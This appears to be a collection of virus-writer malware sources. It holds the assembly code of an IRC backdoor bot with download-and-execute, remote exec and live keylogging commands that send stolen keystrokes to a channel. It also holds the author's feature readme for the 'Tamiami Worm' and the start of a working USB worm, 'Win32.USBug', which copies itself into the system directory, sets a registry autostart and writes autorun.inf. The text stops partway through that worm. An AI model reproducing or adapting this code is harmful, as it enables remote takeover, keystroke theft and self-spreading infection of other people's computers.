;the pass call SendLine ;send it to irc server RecvCommand: ;check if received line include a command call RecvLine ;get a line call HandlePing ;handle ping if it is mov ecx, 0 ;set counter to zero IsCommand: ;check if command cmp word [ReturnBuffer + ecx], CommandPrefix ;is command prefix? je HaveCommand ;then extract command cmp byte [ReturnBuffer + ecx], 0 ;is end of line? je RecvCommand ;then wait for next inc ecx ;increase counter by one jmp IsCommand ;check next position HaveCommand: ;extract command mov ebx, ReturnBuffer ;pointer to buffer add ebx, ecx ;add counter add ebx, 2d ;add length of command prefix invoke lstrcpy,\ ;add to command buffer CommandBuffer,\ ;pointer ebx ;points to command position call ExecuteCommand ;execute command jmp RecvCommand ;next command Exit: invoke WSACleanup ;cleanup the wsa invoke ExitProcess,\ ;exit program 0 ;exit code SendLine: ;this procedure sends a line to the irc server invoke lstrcat,\ ;append crlf to the send buffer SendBuffer,\ ;buffer CRLF ;10d, 13d invoke lstrlen,\ ;get length of buffer SendBuffer ;buffer invoke send,\ ;send this line dword [SocketDesc],\ ;socket descriptor SendBuffer,\ ;send this eax,\ ;length of buffer 0 ;no flags cmp eax, -1 ;succeddful? je Exit ;if not exit ret ;return to call RecvLine: ;this procedure receive a line from server mov dword [ReturnBuffer], 0 ;clear the buffer GetLine: ;recv until crlf invoke recv,\ ;receive a byte dword [SocketDesc],\ ;socket descriptor ByteBuffer,\ ;1 byte buffer 1d,\ ;get just one byte 0 ;no flags cmp eax, 0 ;error? je Exit ;if so, exit cmp byte [ByteBuffer], 10d ;arrived crlf? je HaveLine ;then return invoke lstrcat,\ ;append byte to buffer ReturnBuffer,\ ;pointer ByteBuffer ;the byte jmp GetLine ;receive next byte HaveLine: ;we have a line and can.. ret ;...return GenerateNickname: ;this procedure generates a random nick mov ecx, 0 ;clear counter GetByte: ;get a single byte invoke GetTickCount ;get the run time cmp al, 97d ;after "a" jnb CheckBelow ;if so, check if its before "z" jmp Sleep33 ;sleep 33 ms CheckBelow: cmp al, 122d ;before "z" jna HaveByte ;then save byte jmp Sleep33 ;sleep 33 ms HaveByte: ;save a byte mov byte [RandomString + ecx], al ;save byte at the position inc ecx ;ecx + 1 cmp ecx, 4d ;got 4 bytes? je GenerateIt ;now generate it Sleep33: ;sleep 33ms and try again to get a byte a - z push ecx ;push counter invoke Sleep,\ ;sleep 33d ;33ms pop ecx ;restore counter jmp GetByte ;try to get a byte a -z GenerateIt: ;have random string, now create nick invoke GetUserName,\ ;get the logged on user name Username,\ ;pointer to buffer UsernameSize ;size of buffer cmp eax, 0 ;successful? jne ExtractUserName ;if so jump there mov dword [Username], "rrlf" ;no user name got, fill it with text anyways ExtractUserName: ;get 4 bytes from the user name mov byte [Username + 4d], 0 ;set string end at 5th position invoke lstrcpy,\ ;copy username to nick buffer Nickname,\ ;pointer to buffer Username ;pointer to buffer invoke lstrcat,\ ;append random string Nickname,\ ;to this RandomString ;from this invoke CharLowerBuff,\ ;now mae nick to lower Nickname,\ ;the nick 8d ;length ret ;return to call HandlePing: ;this procedure handle ping and pong cmp dword [ReturnBuffer], "PING" ;is a ping? jne NoPing ;if not return invoke lstrcpy,\ ;copy ping message to buffer PongBuffer,\ ;to this ReturnBuffer + 6d ;sendbuffer + "PING " invoke lstrcpy,\ ;copy PONG message to sendbuffer SendBuffer,\ ;buffer Pong ;pong message call SendLine ;send pong NoPing: ;its not a ping ret ;return SendPrivmsg: ;send a message to channel invoke lstrcpy,\ ;copy PRIVMSG to send buffer SendBuffer,\ ;pointer "PRIVMSG " ;irc command invoke lstrcat,\ ;append channel SendBuffer,\ ;pointer Channel ;the chan invoke lstrcat,\ ;append space SendBuffer,\ ;pointer " :" ;sepertor invoke lstrcat,\ ;append message SendBuffer,\ ;pointer ReturnBuffer ;pointer call SendLine ;send to server ret ;return ExecuteCommand: ;execute received command cmp dword [CommandBuffer], "unlo" ;is unlock command? je CmdUnlock ;execute it cmp byte [IsLocked], 0 ;is bot locked? je BotLocked ;jmp there cmp dword [CommandBuffer], "cmds" ;is commands command? je CmdCmds ;then show commands cmp dword [CommandBuffer], "lock" ;is lock command? je CmdLock ;lock it then cmp dword [CommandBuffer], "quit" ;is quit command? je CmdQuit ;quit from irc, exit cmp dword [CommandBuffer], "raw " ;is raw command? je CmdRaw ;execute raw irc command cmp word [CommandBuffer], "dl" ;is download command? je CmdDl ;download file from http cmp dword [CommandBuffer], "exec" ;is execute command? je CmdExec ;then execute application cmp dword [CommandBuffer], "vers" ;is version command? je CmdVersion ;show it then cmp dword [CommandBuffer], "msgb" ;is msgbox command? je CmdMsgbox ;show it then cmp dword [CommandBuffer], "info" ;is info command? je CmdInfo ;then show informations about victim cmp dword [CommandBuffer], "live" ;is livelog command? je CmdLivelog ;log it then cmp dword [CommandBuffer], "stop" ;is stoplog command? je CmdStoplog ;stop it then invoke lstrcpy,\ ;unknown command ReturnBuffer,\ ;pointer "unknown command, type 'cmds' for commands" ;mesage call SendPrivmsg ;send to chan jmp ExecuteCommandReturn ;return BotLocked: invoke lstrcpy,\ ;copy locked message to return buffer ReturnBuffer,\ ;pointer "bot is locked, use unlock <password>" ;message call SendPrivmsg ;send it jmp ExecuteCommandReturn ;return CmdUnlock: ;unlock command invoke lstrlen,\ ;get password len BotPassword ;of this inc eax ;eax + 1 invoke lstrcpyn,\ ;copy password to parameter1 buffer Parameter1,\ ;pointer CommandBuffer + 7d,\ ;skip "unlock " eax ;dont copy the crlf invoke lstrcmp,\ ;compare password BotPassword,\ ;password Parameter1 ;received password cmp eax, 0 ;right pass? jne WrongPassword ;if not send back wrong pass mov byte [IsLocked], 1d ;set unlock code invoke lstrcpy,\ ;tell user bot is unlocked ReturnBuffer,\ ;buffer "bot now unlocked" ;message call SendPrivmsg ;send to channel jmp ExecuteCommandReturn ;return WrongPassword: invoke lstrcpy,\ ;copy wrong pass message ReturnBuffer,\ ;pointer "wrong password" ;message call SendPrivmsg ;send to chan jmp ExecuteCommandReturn ;return CmdCmds: ;show all comands invoke lstrcpy,\ ;copy unlock command ReturnBuffer,\ ;pointer to buffer "unlock <password> - unlock the bot" ;message call SendPrivmsg ;send it to channel invoke Sleep,\ ;sleep a second 1000d ;1 sec invoke lstrcpy,\ ;copy lock command ReturnBuffer,\ ;pointer to buffer "lock - lock the bot" ;message call SendPrivmsg ;send it to channel invoke Sleep,\ ;sleep a second 1000d ;1 sec invoke lstrcpy,\ ;copy raw command ReturnBuffer,\ ;pointer to buffer "raw <irc command> - send irc command to server" ;message call SendPrivmsg ;send it to channel invoke Sleep,\ ;sleep a second 1000d ;1 sec invoke lstrcpy,\ ;copy dl command ReturnBuffer,\ ;pointer to buffer "dl <http url> | <save as path> - download file from http" ;message call SendPrivmsg ;send it to channel invoke Sleep,\ ;sleep a second 1000d ;1 sec invoke lstrcpy,\ ;copy exec command ReturnBuffer,\ ;pointer to buffer "exec <path> - execute a application" ;message call SendPrivmsg ;send it to channel invoke Sleep,\ ;sleep a second 1000d ;1 sec invoke lstrcpy,\ ;copy msgbox command ReturnBuffer,\ ;pointer to buffer "msgbox <title> | <message> - show fake error message" ;message call SendPrivmsg ;send it to channel invoke Sleep,\ ;sleep a second 1000d ;1 sec invoke lstrcpy,\ ;copy info command ReturnBuffer,\ ;pointer to buffer "info - get username, system directory and is admin" ;message call SendPrivmsg ;send it to channel invoke Sleep,\ ;sleep a second 1000d ;1 sec invoke lstrcpy,\ ;copy livelog command ReturnBuffer,\ ;pointer to buffer "livelog - start logging keys and send it to channel" ;message call SendPrivmsg ;send it to channel invoke Sleep,\ ;sleep a second 1000d ;1 sec invoke lstrcpy,\ ;copy stoplog command ReturnBuffer,\ ;pointer to buffer "stoplog - stop logging keys" ;message call SendPrivmsg ;send it to channel invoke Sleep,\ ;sleep a second 1000d ;1 sec invoke lstrcpy,\ ;copy cmds command ReturnBuffer,\ ;pointer to buffer "cmds - show available commands" ;message call SendPrivmsg ;send it to channel invoke lstrcpy,\ ;copy version command ReturnBuffer,\ ;pointer to buffer "version - show bot version" ;message call SendPrivmsg ;send it to channel invoke Sleep,\ ;sleep a second 1000d ;1 sec invoke lstrcpy,\ ;copy quit command ReturnBuffer,\ ;pointer to buffer "quit - quit bot" ;message call SendPrivmsg ;send it to channel invoke Sleep,\ ;sleep a second 1000d ;1 sec jmp ExecuteCommandReturn ;return CmdLock: ;lock command mov byte [IsLocked], 0 ;set it as locked invoke lstrcpy,\ ;return message ReturnBuffer,\ ;buffer "bot now locked" ;message call SendPrivmsg ;send it jmp ExecuteCommandReturn ;and return CmdQuit: ;quit bot invoke lstrcpy,\ ;copy QUIT to buffer SendBuffer,\ ;pointer "QUIT" ;quit command call SendLine ;send it invoke Sleep,\ ;sleep 2000d ;2 seconds jmp Exit ;exit bot CmdRaw: ;send raw command to irc server invoke lstrcpy,\ ;copy command to buffer SendBuffer,\ ;buffer CommandBuffer + 4 ;skip "raw " call SendLine ;send it jmp ExecuteCommandReturn ;return CmdDl: ;download file via http call ExtractParameters ;get the two parameters invoke InternetOpen,\ ;initialise wininet Parameter1,\ ;use url as agent, not necessary 0,\ ;get configs from registry (INTERNET_OPEN_TYPE_PRECONFIG) 0,\ ;no proxy 0,\ ;also no bypass 0 ;no flags cmp eax, 0 ;error? je DownloadFileError ;if so jump to error mov dword [InetHandle], eax ;save handle invoke InternetOpenUrl,\ ;open the http url dword [InetHandle],\ ;handle from internetopen Parameter1 + 3,\ ;pointer to the url, pass "dl " 0,\ ;no need for headers 0,\ ;so are the length 0,\ ;no specific flags 0 ;no context needed cmp eax, 0 ;error? je DownloadFileError ;then show error mov dword [UrlHandle], eax ;save handle invoke CreateFile,\ ;create the file for writing Parameter2,\ ;pointer to filename GENERIC_WRITE,\ ;we just want to write FILE_SHARE_WRITE,\ ;write it 0,\ ;security attributes, nohh CREATE_NEW,\ ;fail if file exist FILE_ATTRIBUTE_HIDDEN,\ ;make it as hidden 0 ;no template file cmp eax, 0 ;error? je DownloadFileError ;send error back mov dword [FileHandle], eax ;save handle inc dword [ReadNext] ;increase readnext by one ReadNextBytes: ;read bytes by bytes cmp dword [ReadNext], 0 ;no more to read je DownloadComplete ;then download complete invoke InternetReadFile,\ ;read from the open url dword [UrlHandle],\ ;open handle DownloadBuffer,\ ;pointer to buffer 1024d,\ ;bytes to read, kbyte by kbyte ReadNext ;how much bytes readed? invoke WriteFile,\ ;write bytes to file dword [FileHandle],\ ;open handle DownloadBuffer,\ ;point to downloaded bytes dword [ReadNext],\ ;write that much bytes BytesWritten,\ ;how much bytes are written 0 ;no overlapped jmp ReadNextBytes ;process next bytes DownloadComplete: ;download is complete invoke CloseHandle,\ ;close file dword [FileHandle] ;via handle invoke InternetCloseHandle,\ ;close inet dword [UrlHandle] ;via handle invoke InternetCloseHandle,\ ;again dword [InetHandle] ;via handle invoke lstrcpy,\ ;copy success message ReturnBuffer,\ ;to return buffer "download successful" ;message call SendPrivmsg ;send to channel jmp ExecuteCommandReturn ;return DownloadFileError: invoke lstrcpy,\ ;copy fail message ReturnBuffer,\ ;to return buffer "download failed" ;message call SendPrivmsg ;send to channel jmp ExecuteCommandReturn ;return CmdExec: ;execute a file invoke lstrlen,\ ;get length of buffer CommandBuffer ;of this mov byte [CommandBuffer + eax - 1], 0 ;clear the crlf invoke CreateProcess,\ ;via create process CommandBuffer + 5d,\ ;application, skip "exec " CommandBuffer + 5d,\ ;user 0,\ ;no process attributes 0,\ ;no thread attributes 0,\ ;no inerhits CREATE_NEW_CONSOLE,\ ;own process 0,\ ;no environment 0,\ ;nor current directory StartupInfo,\ ;startup structure ProcessInfo ;process structure cmp eax, 0 ;error? je ExecError ;show it then invoke lstrcpy,\ ;copy message ReturnBuffer,\ ;to this "successful executed" ;yehaw call SendPrivmsg ;send to chan jmp ExecuteCommandReturn ;return ExecError: ;error occured invoke lstrcpy,\ ;copy message ReturnBuffer,\ ;to this "execution failed" ;damn call SendPrivmsg ;send to chan jmp ExecuteCommandReturn ;return CmdVersion: ;show bot version invoke lstrcpy,\ ;copy version to buffer ReturnBuffer,\ ;pointer Version ;from version call SendPrivmsg ;send to channel jmp ExecuteCommandReturn ;return CmdMsgbox: ;show a error message box call ExtractParameters ;get two parameters invoke MessageBox,\ ;show messagbox, local 0,\ ;no owner Parameter2,\ ;Text Parameter1 + 7d,\ ;title, skip "msgbox " MB_ICONERROR ;error style invoke lstrcpy,\ ;copy message ReturnBuffer,\ ;pointer "message box closed by user" ;message call SendPrivmsg ;send to channeö jmp ExecuteCommandReturn ;return CmdInfo: ;show informations invoke lstrcpy,\ ;copy "Username" to buffer ReturnBuffer,\ ;pointer "Username: " ;msg invoke GetUserName,\ ;get user name Username,\ ;buffer UsernameSize ;size invoke lstrcat,\ ;copy username ReturnBuffer,\ ;buffer Username ;pointer invoke lstrcat,\ ;copy "sysdir" ReturnBuffer,\ ;to buffer ", System directory: " ;msg invoke GetSystemDirectory,\ ;get sys dir to test SystemDir,\ ;buffer 256d ;size invoke lstrcat,\ ;copy to buffer ReturnBuffer,\ ;to buffer SystemDir ;from here invoke lstrcat,\ ;append "admin" ReturnBuffer,\ ;buffer ", Admin: " invoke lstrcat,\ ;append filename to system dir SystemDir,\ ;to buffer "DiA.RRLF" ;filename ;) invoke CreateFile,\ ;try to create this file SystemDir,\ ;file in system directory GENERIC_WRITE,\ ;check write FILE_SHARE_WRITE,\ ;yeh 0,\ ;no security attributes CREATE_ALWAYS,\ ;overwrite if exist FILE_ATTRIBUTE_HIDDEN,\ ;as hidden 0 ;no template file cmp eax, -1 ;error? je NoAdmin ;then user is no admin invoke lstrcat,\ ;copy "yes" ReturnBuffer,\ ;to buffer "Yes" ;message call SendPrivmsg ;send to channel jmp ExecuteCommandReturn ;and return NoAdmin: ;user is no admin invoke lstrcat,\ ;copy "no" ReturnBuffer,\ ;to buffer "No" ;message call SendPrivmsg ;send to channel jmp ExecuteCommandReturn ;and return CmdLivelog: ;create a thread for live keylogging invoke CreateThread,\ ;create the keylog thread 0,\ ;no security attributes 0,\ ;default stack size LiveKeylog,\ ;procedure start 0,\ ;no parameters 0,\ ;start right now ThreadId ;store here the thread id cmp eax, 0 ;error? je ThreadError ;then jump there mov dword [ThreadHandle], eax ;store thread handle invoke lstrcpy,\ ;copy success message ReturnBuffer,\ ;to the buffer "live keylogging thread created" ;yehaw call SendPrivmsg ;send to channel jmp ExecuteCommandReturn ;ret ThreadError: invoke lstrcpy,\ ;copy error message ReturnBuffer,\ ;to this "error on creating live keylogging thread" ;buh call SendPrivmsg ;send it jmp ExecuteCommandReturn ;return CmdStoplog: ;stop keylogging thread invoke GetExitCodeThread,\ ;get exit code to terminate thread dword [ThreadHandle],\ ;thread handle ThreadExitCode ;store it here invoke TerminateThread,\ ;exit it now dword [ThreadHandle],\ ;handle dword [ThreadExitCode] ;with this cmp eax, 0 ;error? je ExitThreadError ;show it then mov dword [ThreadId], 0 ;clear id mov dword [ThreadHandle], 0 ;clear handle mov dword [ThreadExitCode], 0 ;clear exit code invoke lstrcpy,\ ;copy sucess message ReturnBuffer,\ ;to buffer "keylogging thread terminated" ;msg call SendPrivmsg ;send it jmp ExecuteCommandReturn ;ret ExitThreadError: ;arghh, maybe not exist invoke lstrcpy,\ ;copy error message ReturnBuffer,\ ;to buffer "error terminating keylogging thread" ;msg call SendPrivmsg ;send it jmp ExecuteCommandReturn ;ret ExecuteCommandReturn: ;return ret ;return to call ExtractParameters: ;this procedure extracts two parameter from a cmd mov edx, CommandBuffer ;pointer to buffer mov ecx, 0 ;zero counter FindCut: ;get the "|" cur cmp byte [edx + ecx], "|" ;is byte at position a "|"? je HaveCut ;then extract it inc ecx ;counter + 1 jmp FindCut ;scan next position HaveCut: ;have cut, extract it add edx, ecx ;add counter to start of buffer mov byte [edx - 1], 0 ;zero the "|" add edx, 2d ;skip space invoke lstrcpy,\ ;copy parameter2 Parameter2,\ ;destination edx ;source invoke lstrlen,\ ;get length to erase crlf Parameter2 ;of buffer mov byte [Parameter2 + eax - 1], 0 ;erase crlf invoke lstrcpy,\ ;copy parameter1 Parameter1,\ ;buffer CommandBuffer ;source ret ;return to call LiveKeylog: ;this procedure logs keys and send it to channel invoke lstrlen,\ ;get legth of buffer KeylogBuffer ;key strokes buffer cmp eax, 50d ;is over 50 characters? jae SendKeyLine ;then send it to channel mov ebx, 0 ;set counter to zero (just use ebx because api dont change it NextKey: ;try if next key is pressed cmp ebx, 255d ;end of possible keys? je LiveKeylog ;the try from start again invoke GetAsyncKeyState,\ ;get status of this key ebx ;in ebx (0 - 255) cmp eax, -32767d ;is pressed? jne ScanNextKey ;if not check next possible key cmp ebx, 20h ;VK_SPACE je IsSpace ;if it is this key, jump there cmp ebx, 8h ;VK_BACK je IsBack ;if it is this key, jump there cmp ebx, 9h ;VK_TAB je IsTab ;if it is this key, jump there cmp ebx, 60h ;VK_NUMPAD0 je IsNumpad0 ;if it is this key, jump there cmp ebx, 61h ;VK_NUMPAD1 je IsNumpad1 ;if it is this key, jump there cmp ebx, 62h ;VK_NUMPAD2 je IsNumpad2 ;if it is this key, jump there cmp ebx, 63h ;VK_NUMPAD3 je IsNumpad3 ;if it is this key, jump there cmp ebx, 64h ;VK_NUMPAD4 je IsNumpad4 ;if it is this key, jump there cmp ebx, 65h ;VK_NUMPAD5 je IsNumpad5 ;if it is this key, jump there cmp ebx, 66h ;VK_NUMPAD6 je IsNumpad6 ;if it is this key, jump there cmp ebx, 67h ;VK_NUMPAD7 je IsNumpad7 ;if it is this key, jump there cmp ebx, 68h ;VK_NUMPAD8 je IsNumpad8 ;if it is this key, jump there cmp ebx, 69h ;VK_NUMPAD9 je IsNumpad9 ;if it is this key, jump there cmp ebx, 0Dh ;VK_RETURN je IsReturn ;if it is this key, jump there cmp ebx, 30h ;VK_0 jae CheckIsKey ;if its above "1" its possible key ScanNextKey: ;check next key if its pressed inc ebx ;increase counter by one jmp NextKey ;check it baby CheckIsKey: cmp ebx, 5Ah ;VK_Z jbe IsKey ;is key from 1 - Z jmp ScanNextKey ;nop, scan next one IsSpace: ;cat other key to buffer invoke lstrcat,\ KeylogBuffer,\ " " jmp LiveKeylog IsBack: ;cat other key to buffer invoke lstrcat,\ KeylogBuffer,\ "{back}" jmp LiveKeylog IsTab: ;cat other key to buffer invoke lstrcat,\ KeylogBuffer,\ "{tab}" jmp LiveKeylog IsNumpad0: ;cat other key to buffer invoke lstrcat,\ KeylogBuffer,\ "0" jmp LiveKeylog IsNumpad1: ;cat other key to buffer invoke lstrcat,\ KeylogBuffer,\ "1" jmp LiveKeylog IsNumpad2: ;cat other key to buffer invoke lstrcat,\ KeylogBuffer,\ "2" jmp LiveKeylog IsNumpad3: ;cat other key to buffer invoke lstrcat,\ KeylogBuffer,\ "3" jmp LiveKeylog IsNumpad4: ;cat other key to buffer invoke lstrcat,\ KeylogBuffer,\ "4" jmp LiveKeylog IsNumpad5: ;cat other key to buffer invoke lstrcat,\ KeylogBuffer,\ "5" jmp LiveKeylog IsNumpad6: ;cat other key to buffer invoke lstrcat,\ KeylogBuffer,\ "6" jmp LiveKeylog IsNumpad7: ;cat other key to buffer invoke lstrcat,\ KeylogBuffer,\ "7" jmp LiveKeylog IsNumpad8: ;cat other key to buffer invoke lstrcat,\ KeylogBuffer,\ "8" jmp LiveKeylog IsNumpad9: ;cat other key to buffer invoke lstrcat,\ KeylogBuffer,\ "9" jmp LiveKeylog IsReturn: ;cat other key to buffer invoke lstrcat,\ KeylogBuffer,\ "{crlf}" jmp LiveKeylog IsKey: ;cat key to buffer mov dword [ByteBuffer], ebx ;key is in ebx invoke lstrcat,\ ;append it to the keylog buffer KeylogBuffer,\ ;to this ByteBuffer ;the logged key jmp LiveKeylog ;log next key SendKeyLine: invoke lstrcpy,\ ;send complete line to channel SendBuffer,\ ;copy to send buffer "PRIVMSG " ;irc command invoke lstrcat,\ ;append channel SendBuffer,\ ;to buffer Channel ;this invoke lstrcat,\ ;cat : SendBuffer,\ ;to buffer " :" ;guess invoke lstrcat,\ ;append logged buffer SendBuffer,\ ;to send buffer KeylogBuffer ;from here call SendLine ;send line to irc server mov dword [KeylogBuffer], 0 ;empty buffer jmp LiveKeylog ;log next ret ;return to call section '.idata' import data readable writeable ;imports library kernel, "kernel32.dll",\ winsock, "ws2_32.dll",\ user, "user32.dll",\ advapi, "advapi32.dll",\ wininet, "wininet.dll" import kernel,\ lstrcpy, "lstrcpyA",\ lstrcpyn, "lstrcpynA",\ lstrcat, "lstrcatA",\ lstrcmp, "lstrcmpA",\ lstrlen, "lstrlenA",\ GetTickCount, "GetTickCount",\ Sleep, "Sleep",\ CreateFile, "CreateFileA",\ WriteFile, "WriteFile",\ CloseHandle, "CloseHandle",\ CreateProcess, "CreateProcessA",\ CreateThread, "CreateThread",\ GetExitCodeThread, "GetExitCodeThread",\ TerminateThread, "TerminateThread",\ GetSystemDirectory, "GetSystemDirectoryA",\ ExitProcess, "ExitProcess" import winsock,\ WSAStartup, "WSAStartup",\ socket, "socket",\ inet_addr, "inet_addr",\ htons, "htons",\ connect, "connect",\ recv, "recv",\ send, "send",\ WSACleanup, "WSACleanup" import advapi,\ GetUserName, "GetUserNameA" import user,\ CharLowerBuff, "CharLowerBuffA",\ MessageBox, "MessageBoxA",\ GetAsyncKeyState, "GetAsyncKeyState" import wininet,\ InternetOpen, "InternetOpenA",\ InternetOpenUrl, "InternetOpenUrlA",\ InternetReadFile, "InternetReadFile",\ InternetCloseHandle, "InternetCloseHandle"sources
Tamiami Worm 1.3 DiA ____________________________________________________________________________________________ \\ // // \\ \\ Tamiami Worm // // Version 1.3 \\ \\ coded by // // DiA \\ \\ Ready Rangers Liberation Front // // DiA_hates_machine@gmx.de - http://www.vx-dia.de.vu/ \\ \\ // //________________________________________________________________________________________\\ // Disclaimer I am not responsible for anything that you do with this source. So take care when you want to test this or parts of this code. If you don't know how to handle malware, please close this for your and others pleasure. // Intro Welcome to my best and biggest creation. It spreads via several ways, wich i describe here. Also it has some nice features, and still more to come. When you look at the source code, you will see that some functions are not used. Thats because i decided that simpler is better for this worm. As example the autostart function, in the first version of Tamiami it was able to infect an autostart application. But now it has a tool included that make termination of the worm harder, but read later about it. I am sure I will make some more versions of the worm, because I have still much ideas. // HTTP Server The worm has it's own HTTP server, that can provide a website at the infected computer. The HTTP server is used for mail spreading via a spoofed link, and spreading via IRC and mIRC. Read on for that. // Website creator Yes, thats right, the worm creates a website on an infected computer. For that it get's three pictures from user's "My Pictures" folder. It then creates HTML code that contain the pictures, sublinks to enlarge it, and a link to the worm binary, tarned as an selfextracting archive, containing more pictures. // Mail spreading via spoofed link The worm has now only mail spreading via simple MAPI (SMTP version in progress). The worm send's a mail with the spoofed link to an infecting computer (where the website is) to all mail addresses that can be found in the inbox of Outlook. // Spoofed link Tamiami send's only spoofed links (Mail, IRC, mIRC). The IP of the infected machine is spoofed by the http://user:pass@IP(in %hex) formation. // Mail spreading via attachment If mail spreading via spoofed link failed (eg can't run HTTP server), the worm send's mails to all addresses in inbox of Outlook with a binary of the worm attached. // Disabling MAPI warning For sending mail's without a warning by Outlook the worm disables it via an entry in the registry. // Extract mail addresses The worm read's mail addresses from the Outlook inbox and store the addresses as files in a folder. Why that? If you do it via files, you have no victim address twice, and invalid file names mean invalid mail addresses. // Two languages The worm is able to spread via two languages, german if system is a german one, otherwise english. Spreads via two languages in mail spreading, zip & rar spreading, also it creates website and spoofed links in two languages. // Autostart As I sayed in the intro, the worm has a simple autostart, via a entry in the registry. Other functions for autostart can be found in the documentation. // Creating a mutex To not run twice the worm creates a mutex. Before it do it's action it checks if the mutex already exist, if so the worm terminate it's process, because it already run. // Update Tamiami The worm is able to update itself, if a newer version come to system, and an older already exist, the worm update itself on it. // Disabling XP firewall The firewall that comes with XP SP2 will be disabled by the worm, via an entry in the registry. // Drive spreading The worm checks every drive from B:\ to Z:\ if it's a remote drive (fixed share). If so it copy's the worm binary with a random name. // RAR & ZIP worm Tamiami search on all fixed drives (remote or local) for all ZIP and RAR archives. If it found one, the worm add's itself with an random name to the archive. // IRC spreading Tamiami connects to 6 of the biggest IRC server and join channels with much people inside and idle there. It recocnize when a user join a channel, and then it send's a private message with a spoofed link to the infected PC and it's website. If worm get's kicked or banned it joins a new channel and spreads there. // mIRC spreading When mIRC is running the worm loads a script dynamicly into mIRC. The script spread the worm binary via DCC when someone join a channel. // IRC backdoor Inside the worm there is also an IRC backdoor, not for criminal intend, but maybe to clean infected machines if this worm is outbreak. The bot only have raw, quit, version and download and execute commands. // DOC infection The worm drop's a .vbs file that insert code in Word's Normal.dot template, that code infects every opened .doc file with a small dropper code and the worm binary. // Take car for me To avoid termination, the worm drop's my tool "TakeCareOnMe" to disk, and execute it with the worm path as parameter. That way, it restart's Tamiami when it got's terminated. // Payload The payload activte on September 17 every year. Then it prints random text with random color and random position to the screen. The loop is infinite, so very annoying. And if worm is terminated, it get restarted by TakeCareOnMe. // Outro Hope that "read me" covers all features of the worm, to get an closer look you can look at the big documentation "_Ver_Inc_Docu.h". I am sure in near or far future you will see a newer version of this worm. So long, have fun with this code. DiA/RRLF - 16.06.2006sources
Win32.USBug DiA ; Win32.USBug - A simple USB Worm ; by DiA/RRLF ; http://www.vx-dia.de.vu ; DiA_hates_machine@gmx.de ; ; Alot of comments, pretty much self explaining, have fun with this little fucker. include "%fasminc%\win32ax.inc" ;common stuff section "usbug" code readable writeable executable ;just one section invoke GetModuleFileName,\ ;get our path 0,\ ;this module OurPath,\ ;store it here 256d ;size of buffer invoke GetSystemDirectory,\ ;get system directory SystemDir,\ ;buffer 256d ;size of buffer mov eax, dword [OurPath + 5d] ;get a dword of the string in eax (c:\wINDOws\system32\usbug.exe) mov ebx, dword [SystemDir + 5d] ;get also a dword in ebx (c:\wINDOws\system32) cmp eax, ebx ;check if same je GetWatchDrive ;then skip installation xor ecx, ecx ;clear counter GetPathEnd: ;get the end of the system path cmp byte [SystemDir + ecx], 0 ;check for terminating zero je HavePathEnd ;if so we found end of string inc ecx ;inc counter jmp GetPathEnd ;check next place HavePathEnd: ;append our installation name mov dword [SystemDir + ecx], "\usb" ;dword for dword mov dword [SystemDir + ecx + 4d], "ug.e";no need for api here mov word [SystemDir + ecx + 8d], "xe" ;now we have full path add ecx, 10d ;update counter push ecx ;save counter to stack invoke CopyFile,\ ;copy to system directory OurPath,\ ;from here SystemDir,\ ;to system directory (contains full path) 0 ;overwrite if we are already there pop ecx ;get counter from stack mov ebx, ecx ;save counter for registry use in ebx mov byte [OurPath + ecx], 0 ;set terminating zero to string, ecx is zero after copying bytes mov esi, SystemDir ;source index is system dir buffer, counter is in ecx mov edi, OurPath ;destination is our path buffer rep movsb ;move ecx bytes from esi to edi invoke RegOpenKeyEx,\ ;open registry key HKEY_LOCAL_MACHINE,\ ;write in this key RegRunKey,\ ;write to this autostart subkey 0,\ ;reserved KEY_SET_VALUE,\ ;we wanna write a value RegHandle ;save handle here invoke RegSetValueEx,\ ;set our value dword [RegHandle],\ ;reg handle RegValueName,\ ;the value name, some fake of course 0,\ ;reserved REG_SZ,\ ;its a zero terminated string OurPath,\ ;full path ebx ;size of buffer (ex-counter) invoke RegCloseKey,\ ;close registry dword [RegHandle] ;via handle GetWatchDrive: ;get next free drive letter invoke GetLogicalDriveStrings,\ ;call API to get all drives as strings in AllDrives 105d,\ ;size of buffer (A:\0 = 4 bytes * 26 + terminating 0) AllDrives ;store it here mov bl, 67d ;store "C" in bl, thats where we start xor ecx, ecx ;clear counter cmp byte [AllDrives], 65d ;check if we start at A:\ jne FindWatchDrive ;if not start checking add ecx, 4d ;if there is a A:\ skip it cmp byte [AllDrives + ecx], 66d ;is there also a B:\ jne FindWatchDrive ;no, we are at C:\, start checking add ecx, 4d ;if there is a B:\ skip this, we are now at C:\ FindWatchDrive: ;find the drive where usb sticks can be plugged cmp word [AllDrives + ecx], 00d ;we are at string end? then usb drive is last available + 1 je FoundEnd ;we are at the end cmp byte [AllDrives + ecx], bl ;is there a clean chain like C D E F G ... jne FoundWatchDrive ;no? then we found the usb drive in the middle inc bl ;check next character add ecx, 4d ;skip C:\0 for example jmp FindWatchDrive ;and check next string FoundWatchDrive: ;usb drive is in the middle mov bl, byte [AllDrives + ecx] ;get drive AFTER the space dec bl ;dec it, so we have the usb drive mov byte [WatchDrive], bl ;store it jmp WaitForUsb ;skip FoundEnd: ;lets get last drive from end of string sub ecx, 4d ;set counter to last available drive mov bl, byte [AllDrives + ecx] ;get last available drive letter inc bl ;inc it, so we have the usb drive mov byte [WatchDrive], bl ;store it WaitForUsb: ;now lets wait until a usb stick is plugged mov dword [UsbFile], "driv" ;set filename dword by dword mov dword [UsbFile + 4d], "er.e" ;no api here too mov word [UsbFile + 8d], "xe" ;now we have a full path in WatchDrive mov byte [UsbFile + 10d], 0 ;terminating null DropToUsb: ;try to copy ourself on the drive + filename invoke CopyFile,\ ;copy file OurPath,\ ;from system directory WatchDrive,\ ;to the possible usb stick (O:\driver.exe as example) 0 ;overwrite if already exist cmp eax, 0 ;failure? jne GenerateAutorun ;if not a usb is plugged and we can generate the autostart.inf invoke Sleep,\ ;nothing plugged, sleep for 20 seconds 20000d ;20sec jmp DropToUsb ;loop it GenerateAutorun: ;drive available! usb plugged... invoke SetFileAttributes,\ ;hide our program WatchDrive,\ ;full path of it FILE_ATTRIBUTE_HIDDEN ;hidden mov dword [UsbFile], "auto" ;overwrite our copy path (driver.exe) with "autorun.inf" mov dword [UsbFile + 4d], "run." ;dword for dword mov dword [UsbFile + 8d], "inf" ;no lstrcat dude! invoke CreateFile,\ ;now create the autorun.inf WatchDrive,\ ;full path to usb (O:\autorun.inf) for example GENERIC_WRITE,\ ;just write to it 0,\ ;no shared mode 0,\ ;no security attributes CREATE_ALWAYS,\ ;overwrite if exist FILE_ATTRIBUTE_HIDDEN,\ 